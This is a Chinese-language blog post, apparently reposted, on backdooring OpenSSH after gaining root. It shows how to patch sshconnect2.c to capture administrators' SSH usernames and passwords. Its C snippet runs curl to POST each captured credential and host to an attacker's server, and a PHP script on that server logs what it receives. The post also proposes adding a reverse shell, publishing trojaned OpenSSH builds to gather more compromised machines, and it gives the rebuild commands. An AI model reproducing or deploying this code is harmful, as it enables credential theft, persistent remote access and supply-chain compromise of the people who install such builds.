利用OPENSSH自身記錄密碼


大家都知道,OPENSSH是基於Linux下,一款開源,安全性不錯的Linux SSH會話連接工具。

在滲透當中,當我們get root了。我們如何來記錄Linux管理員登陸過的SSH?

想法如下:

1:更改OPENSSH源代碼,記錄到某個地方。

2:在更改源代碼的前提下,將OPENSSH 記錄到的賬戶密碼POST/GET/傳輸到某個地方。

3:更改OPENSSH源代碼,對內網進行掃描。將獲得的賬戶密碼,在Linux機器OPENSSH連接進行比對。如果成功就發送,如果失敗就PASS。

4:如何獲得更多的Linux肉雞? 更改OPENSSH源代碼,寫成后門,然后發布。

測試中截圖如下:

我們分析OPENSSH連接過程,然后找到可更改代碼的地方,截取USERNAME和PASSWORD:

 

之后我們重新編譯OPENSSH,事前需要看好版本,不過一般管理員對OPENSSH版本不會重視把?

如果管理員連接的OPENSSH:

 

 

我們將記錄到密碼。

-----------------------------------------------------------------------

如果你覺得這樣達不到你的目的。

咱們可以加個反向連接shell,管理員每次一連接,就反向到你那兒去。或者一直把shell 反向都處於連接的狀態。

------------------------------------------------------------------

也可以直接CURL到咱們的地方。

接受:

 

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['Host'];

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("log.txt","a+");
        $result = "Username:.$username--->:Password:$password----->:Host:$host";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>

 

POST:

 

        char szres[1024] = {0};
        memset(szres,0,sizeof(szres));
        snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"userName=%s&password=%s&Host=%s\" http://xxxxxx/xx.php >null",options.user,pass,get_remote_ipaddr());
        printf("Szres = %s.\r\n",szres);
        system(szres);
        

寫的很倉促,代碼路徑這塊沒有經過判斷之類的。畢竟我是以滲透出路的,代碼寫的很爛,還請見諒。

 

 

大概具體就是這樣了,如果你覺得你已經知道了這個方法,或者你根本用不到。還請別打我。

剛才忘記說了,更改文件代碼的文件名字是:

sshconnect2.c  //只要有認證的地方都可以改。

編譯SSH命令如下:


./configure --prefix=/usr --sysconfdir=/etc/ssh

make ; make install

然后直接SSH命令用即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM